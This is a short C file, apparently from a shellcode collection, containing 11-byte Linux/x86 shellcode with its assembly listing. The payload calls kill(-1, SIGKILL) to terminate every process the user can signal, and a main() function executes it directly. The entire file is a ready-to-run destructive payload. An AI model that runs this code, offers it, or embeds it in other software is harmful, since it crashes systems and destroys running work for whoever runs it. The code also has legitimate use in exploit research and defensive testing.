/* By Kris Katterjohn 11/13/2006 * * 11 byte shellcode to kill all processes for Linux/x86 * * * * section .text * * global _start * * _start: * * ; kill(-1, SIGKILL) * * push byte 37 * pop eax * push byte -1 * pop ebx * push byte 9 * pop ecx * int 0x80 */ main() { char shellcode[] = "\x6a\x25\x58\x6a\xff\x5b\x6a\x09\x59\xcd\x80"; (*(void (*)()) shellcode)(); }